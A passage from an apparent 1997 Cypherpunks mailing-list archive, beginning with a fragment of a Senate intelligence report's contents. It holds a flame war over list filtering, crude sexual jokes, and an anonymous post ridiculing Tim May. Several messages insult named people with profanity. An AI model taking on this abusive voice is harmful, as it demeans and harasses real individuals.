Russia China Mexico Economic Espionage Environmental and Demographic Intelligence Intelligence Sharing with the United Nations IX. Confirmations DCI John M. Deutch DDCI George J. Tenet X. Committee Internal Reforms and Enhancements End of the Designee System Term Limits PolicyNet Appendix Summary of Committee Activities Number of Meetings Bills and Resolutions Originated by the Committee Bills Referred to the Committee Committee Publications Memorandum of Agreement Regarding TIARA and JMIP From kenny_austin at juno.com Fri Feb 28 14:13:48 1997 From: kenny_austin at juno.com (Kenny A Austin) Date: Fri, 28 Feb 1997 14:13:48 -0800 (PST) Subject: cryto Message-ID: <19970228.160944.8287.2.Kenny_Austin@juno.com> would you please add my name to your mailing list... thanks... kenny (kenny_austin at juno.com) From toto at sk.sympatico.ca Fri Feb 28 17:27:17 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 28 Feb 1997 17:27:17 -0800 (PST) Subject: Depends / Re: Senate spams In-Reply-To: <3.0.1.32.19970227011400.00deefe0@mail.io.com> Message-ID: <3317A231.193E@sk.sympatico.ca> Greg Broiles wrote: > > At 01:26 AM 2/28/97 -0600, snow wrote: > >> At 01:41 AM 2/27/97 -0800, Toto wrote: > >> > I didn't see a single post on CypherPunks where anyone expressed the > >> >least problem with pure, unmitigated spam being deleted. > > Greg Broiles wrote: > >> My point precisely. The question is not "is it useful to eliminate some > >> messages from the list?", but "which messages shall we eliminate?". > > > > This is mis-direction, and I believe it is deliberate on Boiles > >part. > > > > The question isn't "which messages shall we eliminate"--which implies > >that the original writer was seeking to silence _someone_, but rather > >given that there are [many some a-few] messages being sent to this list that > >are sent by non-human entities (bots, auto-replies, bounces etc.) is there > >a way to avoid propigating them. > > Will you count Raph's remailer statistics as "machine generated" and > exclude them, too? Only asinine, dip-shit numbskulls would be capable of making this idiotic extrapolation. Why am I not surprised it came from Greg? > Many/most of the "spam" messages are sent to the list because someone > (either the author, or a third party) wanted them to be sent to the list. > The fact that one or more machines are used to carry out that person's > wishes is irrelevant. We're not talking about the effects of alpha > particles or honest mistakes, we're talking about a deliberate choice to > send some content to the list. More DoubleSpeak transposing the issues of Spam and content. > And we're apparently talking about other > people choosing to override that choice to send content to the list, on the > basis of dislike for the sender, the sender's purpose, or the content of > the message. No we're not, Greg. _You_ seem to be the only one speaking of censorship based on personality, agendas and content. (Try to keep in mind that the thoughts and words of others are no longer being censored by your associates.) > And, like Toto said, there's nobody left who's arguing (modulo the > Freedom-Knights guy, whose name escapes me at the moment, who may not > really be on the list, haven't seen anything from him in a week or so) > against all censorship, just people arguing against censorship that they > don't like or done by people they don't trust, but in favor of censorship > they do like, or done by people they do trust. Toto is calling Greg a lying fuck who deliberately disseminates misinformation as to the stances taken by others. Greg seem to have taken it upon himself to provide a misinterpretation of the posts of others, even though those posts are available for people to read for themselves, making their own judgements as to what they say. I have maintained from the beginning that there needs to be a CypherPunks list which is free from filtering in any way, shape or form. I have also maintained that the interests of crypto would also be served by the maintenance of lists which offer filtering services by those who wish to provide them--even a CypherPunks-NoToto list. Anyone who read my post to Igor, suggesting that I would have no problem with him intercepting autobot-replies that result from mailbomb attacks, also knows that I suggested even the empty spam-messages being deleted should be stored where they are open to scrutiny, and that I, for one, would indeed be scrutinizing them. For Greg to purport that the interception of mail-bomb attacks equates somehow to content/personality censorship is unmitigated bullshit aimed at the dim-witted (of which I believe there are very few of on any of the CypherPunks lists). If Greg would like to put forth a logical train of thought which compares the interception of empty auto-bot messages generated in response to the forged posts of a mailbomb attack with Sandy's fascist censorship methods (which Greg eloquently described, but misdirected their source), then I would like to see it. > I don't see anything morally wrong with deliberately altering the flow of > messages to and through the list, but I think it's bad form to pretend not > to be doing that. Who is doing this, Greg? Name names. Give us an example of who is doing this and pretending not to do it. Why are your claims so vague? -- Toto ----------------------------- "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From dlv at bwalk.dm.com Fri Feb 28 17:40:30 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Fri, 28 Feb 1997 17:40:30 -0800 (PST) Subject: "Suspected of purchasing diesel fuel" In-Reply-To: <857149286.1021360.0@fatmans.demon.co.uk> Message-ID: <763u3D98w165w@bwalk.dm.com> paul at fatmans.demon.co.uk writes: > > > > No, you 'all' have it wrong. > > > The censorship experiment was actually the result of the tremendous > > > amount of envy on the list over my having a 16" dick. > > > > So when a super babe says she wants a man with a 12" dick, do you > > have to go cut off 4 inches? Me being only 11", I just have to give > > her up. > > I always said this list would degenerate into a penis size > competition ;-) ITAR-relevant urban legend: once the Soviet government order 10K dozen 8" condoms in the U.S. and the Nixon administration made sure that each one was stamped "medium". > Paul (18") Bradley --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From toto at sk.sympatico.ca Fri Feb 28 17:50:45 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 28 Feb 1997 17:50:45 -0800 (PST) Subject: "Suspected of purchasing diesel fuel" In-Reply-To: <763u3D98w165w@bwalk.dm.com> Message-ID: <3317A7EB.1B8B@sk.sympatico.ca> Dr.Dimitri Vulis KOTM wrote: > > ITAR-relevant urban legend: once the Soviet government order 10K dozen 8" > condoms in the U.S. and the Nixon administration made sure that each one was > stamped "medium". Does any condom over 6" fall under the category, 'Munitions'? -- Toto ----------------------------- "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From nobody at huge.cajones.com Fri Feb 28 18:16:09 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 28 Feb 1997 18:16:09 -0800 (PST) Subject: GAK Message-ID: <199703010216.SAA03674@mailmasher.com> Timmy May was born when his mother was on the toilet. _ {~} ( V-) Timmy May '|Y|' _|||_ From real at freenet.edmonton.ab.ca Fri Feb 28 23:09:03 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Fri, 28 Feb 1997 23:09:03 -0800 (PST) Subject: "Suspected of purchasing diesel fuel" In-Reply-To: <3317A7EB.1B8B@sk.sympatico.ca> Message-ID: Toto you and Vulis need to go to talk sex pervert and stay out of this list. http://www.freenet.edmonton.ab.ca/~real/index.html : real at freenet.edmonton.ab.ca Graham-John Bullers email : ab756 at freenet.toronto.on.ca On Fri, 28 Feb 1997, Toto wrote: > Dr.Dimitri Vulis KOTM wrote: > > > > ITAR-relevant urban legend: once the Soviet government order 10K dozen 8" > > condoms in the U.S. and the Nixon administration made sure that each one was > > stamped "medium". > > Does any condom over 6" fall under the category, 'Munitions'? > -- > Toto > ----------------------------- > "The Xenix Chainsaw Massacre" > http://bureau42.base.org/public/xenix/xenbody.html > From toto at sk.sympatico.ca Fri Feb 28 23:44:58 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 28 Feb 1997 23:44:58 -0800 (PST) Subject: "Suspected of purchasing diesel fuel" In-Reply-To: Message-ID: <3317FAD6.6BCC@sk.sympatico.ca> Graham-John Bullers wrote: > > Toto you and Vulis need to go to talk sex pervert and stay out of this > list. I visited your "Hack Crack and Preak" page, and I'm sure that you are indeed a real 'Preak', not just another phony who claims to be a 'Preak'. I had an East Indian friend who thought most everyone was a real 'Preak'. Speaking of which, I noticed that you had a pointer to "The Official Cypherpunks Home Page." Thanks for the pointer, I certainly found it enlightening. Up until now, I didn't realize that Sammeer was the head CypherPunk, and the official host of our homepage. It certainly makes me feel foolish for disputing his right to have his employees control the CypherPunks list and throw my posts in the garbage. Silly me. -- Toto ----------------------------- "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html